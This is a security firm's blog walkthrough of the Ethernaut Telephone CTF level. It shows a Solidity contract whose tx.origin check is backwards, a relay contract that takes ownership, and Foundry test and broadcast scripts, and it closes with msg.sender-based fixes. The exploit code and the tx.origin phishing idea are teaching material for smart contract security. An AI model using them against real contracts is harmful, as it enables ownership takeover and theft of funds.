← Back to blog
Mike B. - SecLat SecuritySeptember 1, 2026

Ethernaut Level 4 Walkthrough: Breaking tx.origin Authentication in Solidity

In this article, we will analyze and solve Ethernaut Level 4: Telephone.

This level looks trivial: one if statement guarding ownership. But that single line hides one of the oldest access-control mistakes in Solidity, confusing tx.origin with msg.sender. Get that confusion backwards, and you don't just fail to protect a function, you open a door specifically for anyone willing to route the call through a contract.

Besides solving the challenge, we will also understand:

  • The real difference between tx.origin and msg.sender
  • Why this specific check does the opposite of what it looks like it does
  • How a one-function intermediary contract flips tx.origin != msg.sender to true
  • How to validate the exploit using Foundry
  • How to defend against tx.origin-based authentication entirely

Challenge Description

The contract stores an owner address set at deployment. It exposes one public function, changeOwner, that reassigns ownership under a specific condition.

The goal of the challenge is:

Claim ownership of the contract.

Vulnerability Classification

CategoryValue
Vulnerability:tx.origin used for authentication
Root Cause:The ownership check compares tx.origin and msg.sender backwards
Impact:Any caller can take ownership through a one-line intermediary contract
Severity:Critical
Attack Type:tx.origin authentication bypass

Vulnerable Contract Analysis

This is the vulnerable contract used in the challenge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

Root Cause of the Vulnerability

The entire vulnerability lives in one condition:

function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
        owner = _owner;
    }
}

At first glance this reads like a guard: "only proceed if something checks out." But look at what it actually permits. changeOwner sets owner = _owner precisely when tx.origin and msg.sender are different. That only happens when the call to Telephone arrives through an intermediary contract, not directly from an externally owned account (EOA).

In other words, the condition is backwards from what secure access control needs. It rejects direct EOA calls and welcomes calls relayed through any contract.

This violates a core security principle in smart contract design:

Authorization must be based on the immediate caller (msg.sender), never on the original transaction signer (tx.origin), because tx.origin says nothing about who is actually invoking the current call.

Understanding tx.origin vs msg.sender

To see why the check breaks, we need to separate the two globals precisely.

  1. tx.origin is the address of the externally owned account that signed and broadcast the original transaction. It stays constant across every contract call in that transaction's entire call chain.
  2. msg.sender is the address of whoever called the current function. It changes at every hop: a contract calling another contract sees itself as msg.sender on the receiving end.
  3. When an EOA calls Telephone.changeOwner directly, tx.origin and msg.sender are the same address. The condition is false, and owner never changes.
  4. When an EOA calls an intermediary contract, and that contract calls Telephone.changeOwner, tx.origin is still the EOA, but msg.sender is now the intermediary contract's address. The two differ, the condition is true, and owner changes.
Direct call:
Player (EOA) --------------------> Telephone.changeOwner()
  tx.origin = Player
  msg.sender = Player
  tx.origin == msg.sender  ->  condition false, owner unchanged

Relayed call:
Player (EOA) --> Caller (contract) --> Telephone.changeOwner()
  tx.origin = Player
  msg.sender = Caller
  tx.origin != msg.sender  ->  condition true, owner changes

This exact confusion is catalogued in the Smart Contract Weakness Classification registry as SWC-115, "Authorization via tx.origin." It is one of the earliest documented Solidity anti-patterns, precisely because it is easy to write and looks correct on a quick read.

Why tx.origin-Based Checks Are Dangerous

The Telephone level demonstrates the mechanical bypass, but the same primitive has a second, arguably worse consequence in production code: phishing.

  • If a contract authorizes actions based on tx.origin == owner, a malicious contract can trick the real owner into calling it. That malicious contract then calls the victim contract on the owner's behalf, and tx.origin still resolves to the owner, since it never changes across the call chain.
  • This means tx.origin checks are not just bypassable, they can be actively weaponized against a legitimate user who signs a single transaction with a wallet that has privileged access somewhere else.
  • msg.sender has no equivalent weakness for this purpose: it always reflects the immediate caller, so a contract checking msg.sender == owner correctly rejects any call that did not come directly from the owner's own address.

The safe pattern is simple: authentication and authorization checks should use msg.sender, full stop. tx.origin has legitimate, narrow uses (some legacy patterns check it to reject contract callers entirely), but it should never be treated as proof of who is requesting an action.

Attack Strategy

Now that we understand the vulnerability, we can design the exploit.

We know that:

  1. changeOwner only succeeds when tx.origin != msg.sender.
  2. Calling changeOwner directly from our player account keeps both values identical, so a direct call always fails to change ownership.
  3. Any contract that calls changeOwner on our behalf becomes the msg.sender seen by Telephone, while tx.origin remains our player address.
  4. We just need one function on an intermediary contract that forwards the call.

Therefore, our strategy will be:

  1. Deploy a minimal contract with a single function that calls Telephone.changeOwner(player).
  2. Call that function from our player account.
  3. Inside Telephone, msg.sender is the intermediary contract and tx.origin is our player, so the condition is true and owner is set to our player address.
  4. The level is solved.

Attacker Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Telephone} from "src/levels/Telephone.sol";

contract TelephoneCaller {
    function attack(address _target, address _newOwner) public {
        Telephone(_target).changeOwner(_newOwner);
    }
}

We import Telephone directly here instead of declaring a minimal interface, since the level's pragma (^0.8.0) is fully compatible with the rest of the toolchain and there is no version friction to work around.

attack takes the target instance and the address that should become the new owner, then calls changeOwner on the target. The only thing that matters for the exploit is that this call originates from TelephoneCaller, not from an EOA directly.

How the Exploit Works

First, we deploy TelephoneCaller, a contract that does nothing except forward a call to Telephone.changeOwner.

Then, from our player account, we call TelephoneCaller.attack(instance, player). Internally, this triggers Telephone.changeOwner(player).

Because that internal call originates from TelephoneCaller and not from our player account directly, msg.sender inside Telephone is the caller contract's address, while tx.origin remains our player's address throughout the entire chain. The condition tx.origin != msg.sender evaluates to true, and owner is set to our player address.

No storage manipulation, no funds, no timing. One relayed call is enough.

Validating the Exploit with Foundry

After cloning the Ethernaut repository locally, we can create a Foundry test to validate the exploit.

// SPDX-License-Identifier: MIT
// Telephone_L4.t.sol
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Telephone} from "src/levels/Telephone.sol";
import {TelephoneFactory} from "src/levels/TelephoneFactory.sol";
import {TelephoneCaller} from "test/Solutions/Attacks/TelephoneCaller.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestTelephone_L4 is Test, Utils {
    Ethernaut ethernaut;
    Telephone instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        TelephoneFactory factory = new TelephoneFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Telephone(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.prank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    function testSolve() public {
        vm.startPrank(player);

        // player is tx.origin here; the caller contract becomes msg.sender
        // inside Telephone, so tx.origin != msg.sender holds and owner flips.
        TelephoneCaller caller = new TelephoneCaller();
        caller.attack(address(instance), player);

        assertEq(instance.owner(), player);
        assertTrue(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }
}

Running the Test

Run the test against a Sepolia fork:

source .env
forge test --mp test/Solutions/Telephone_L4.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv

Once executed, we can verify that owner now matches our player address and that the level accepts the submission.

Solving the Level on Sepolia

Now we will create a script to execute the exploit directly against the Ethernaut instance.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {TelephoneCaller} from "test/Solutions/Attacks/TelephoneCaller.sol";
import {console} from "forge-std/console.sol";

contract TelephoneScript is Script {
    address public target;
    TelephoneCaller public caller;

    function setUp() public {
        target = payable("0xYourEthernautInstance");
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
        address player = vm.addr(pk);
        vm.startBroadcast(pk);

        caller = new TelephoneCaller();
        caller.attack(target, player);

        console.log("Caller contract:", address(caller));
        console.log("New owner:", player);

        vm.stopBroadcast();
    }
}

Running the Script

First, execute the script locally:

forge script scripts/Telephone.s.sol --rpc-url $SEPOLIA_RPC

If everything works correctly, broadcast it to Sepolia:

forge script scripts/Telephone.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv

Once the transaction confirms, owner on the instance matches your player address. You just need to submit the instance on the Ethernaut website.

How to Prevent This Vulnerability

The fix is not a smarter condition, it is removing tx.origin from any authorization logic entirely.

Use msg.sender for authorization

// Vulnerable
function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
        owner = _owner;
    }
}

// Fixed
function changeOwner(address _owner) public {
    require(msg.sender == owner, "Not owner");
    owner = _owner;
}

msg.sender == owner correctly rejects any call that did not come directly from the current owner's own address, contract or not, and cannot be tricked by routing the call through an intermediary.

Reserve tx.origin for its narrow legitimate uses

If a design genuinely needs to detect whether a call originated from an EOA versus a contract, that is a different question from authorization, and should never be the deciding factor for who can change privileged state.

Use audited access-control primitives

Libraries like OpenZeppelin's Ownable implement the msg.sender check correctly and consistently, removing the temptation to hand-roll ownership logic per contract.

import "@openzeppelin/contracts/access/Ownable.sol";

contract Telephone is Ownable {
    function changeOwner(address _owner) public onlyOwner {
        transferOwnership(_owner);
    }
}

Lessons Learned

This challenge shows that a one-line condition can be exactly backwards and still compile, deploy, and look intentional.

Key lessons from this level:

  • tx.origin identifies who signed the original transaction, never who is calling the current function.
  • msg.sender is the only correct signal for "who is calling me right now."
  • Any check written around tx.origin != msg.sender (or the inverse) deserves scrutiny: it is reasoning about contract-mediation, not identity.
  • tx.origin-based authorization is also a phishing vector against real users, not just a CTF trick.
  • SWC-115 exists precisely because this mistake keeps showing up in production code.

Conclusion

In this challenge, we exploited a tx.origin authentication check that only grants access when the call is relayed through a contract, the exact opposite of a safe access-control pattern.

We built a one-function intermediary contract that calls changeOwner on our behalf, making tx.origin and msg.sender differ and flipping ownership to our player address.

This level is an excellent introduction to:

  • The real distinction between tx.origin and msg.sender
  • Why tx.origin-based checks fail in both directions, bypassable and phishable
  • Building a minimal relay contract to demonstrate the bypass
  • Real exploit methodology validated with Foundry
  • Correct ownership patterns using msg.sender and audited libraries like OpenZeppelin's Ownable

You can find more Web3 security content on our blog.

If you are looking for a security audit for your protocol, feel free to contact us through our website seclat.xyz.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.